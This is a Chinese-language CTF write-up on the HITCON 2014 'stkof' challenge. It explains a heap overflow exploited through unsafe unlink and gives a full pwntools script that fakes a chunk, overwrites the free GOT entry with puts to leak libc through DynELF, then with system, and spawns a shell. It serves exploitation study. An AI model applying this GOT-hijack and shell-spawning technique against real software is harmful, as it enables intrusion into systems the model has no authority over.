how2heap之unsafe unlink的应用实战,加深对其理解。
例子和一些writeup可以去https://github.com/ctfs里面找。
这道题的功能很简单,再通过IDA分析后,共有4个功能。 1 2 3 4
| 1 添加模块,此处分配内存,而且索引从1开始。 2 编辑模块,此处在所分配的内存中填写信息,但是此处没有限制输入长度。 3 删除模块,输入索引值即可删除,此处将指针置NULL。 4 输出内容,不是输出模块内存储内容,而是判断存储内容长度来输入其他字符串。
|
这里存在着明显的堆溢出,但是不能使用UAF来做了,可以构造shrink chunk
,利用unsafe unlink
达到任意地址读写。unsafe unlink
的利用可以参考我上一篇文章。
利用步骤为: 1 2 3 4 5 6 7
| 1. 连续申请4个small chunk大小的堆,比如堆大小为0x90。 2. 选择在.bss段上的目标地址。根据unsafe unlink,构造payload,溢出堆2,覆盖堆3的meta data。 3. free堆3,然后我们就控制目标地址,可以对任意地址进行读写。 4. 为了泄露出system的内存地址,我们要通过puts或write等函数输出system的内存地址,所以将puts函数入口地址覆盖掉free的got表内容。 5. 使用DynELF找到system的内存地址。 6. 将system的内存地址覆盖掉free的got表内容。 7. 将'/bin/sh'写入内存并通过删除模块操作来触发system('/bin/sh\0')。
|
整体的代码为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from pwn import * context.log_level = 'debug' p = process('./stkof') stkof_elf = ELF('./stkof') print proc.pidof(p)[0] #gdb.attach(proc.pidof(p)[0], 'b * 0x400AE3\n b*0x400B7F') #pause() def add(len): p.sendline('1') p.sendline(str(len)) p.recvuntil('\n') p.recvuntil('\n')
def delete(idx): p.sendline('3') p.sendline(str(idx))
def edit(idx, content): p.sendline('2') p.sendline(str(idx)) p.sendline(str(len(content))) #the difference between send and sendline p.send(content) p.recvuntil('\n')
def show(idx): p.sendline('4') p.sendline(str(idx)) p.recvuntil('\n') p.recvuntil('\n')
bag=0x0602140 target=bag+0x8*2 FD=target - 0x8*3 BK=target - 0x8*2
free_plt = stkof_elf.symbols['free'] puts_plt = stkof_elf.symbols['puts'] free_got = stkof_elf.got['free'] print 'puts plt is '+ hex(puts_plt) print 'free got is '+ hex(free_got)
add(0x90-8) #1 add(0x90-8) #2 add(0x90-8) #3 add(0x90-8) #4
payload = p64(0)+p64(8)+p64(FD) + p64(BK)+ 0x60*'A' payload += p64(0x80)+ p64(0x90)
edit(2, payload) delete(3) p.recvuntil('\n')
# replace free_got by puts_plt edit(2, "A"*16+p64(free_got)) edit(1, p64(puts_plt)) # leak system in libc address
def leak(addr): edit(2, 'A'*16+p64(addr)) delete(1) str = p.recvuntil('OK\n') print str result = str.split('\x0aOK')[0] if result=='': return '\x00' return result
d = DynELF(leak, elf=ELF('./stkof')) sys_addr = int(d.lookup('system', 'libc'))
#libc = stkof_elf.libc print hex(sys_addr)
#write /bin/sh to memory edit(4, '/bin/sh\0')
# write sys_addr to free edit(2, 'A'*16+p64(free_got)) edit(1, p64(sys_addr))
# trigger free('/bin/sh') delete(4)
p.interactive()
|
参考文献
[1] writeup
hitcon-ctf-2014/stkof [2] CTF
Writeup - HITCON CTF 2014 stkof or the "unexploitable" heap overflow
?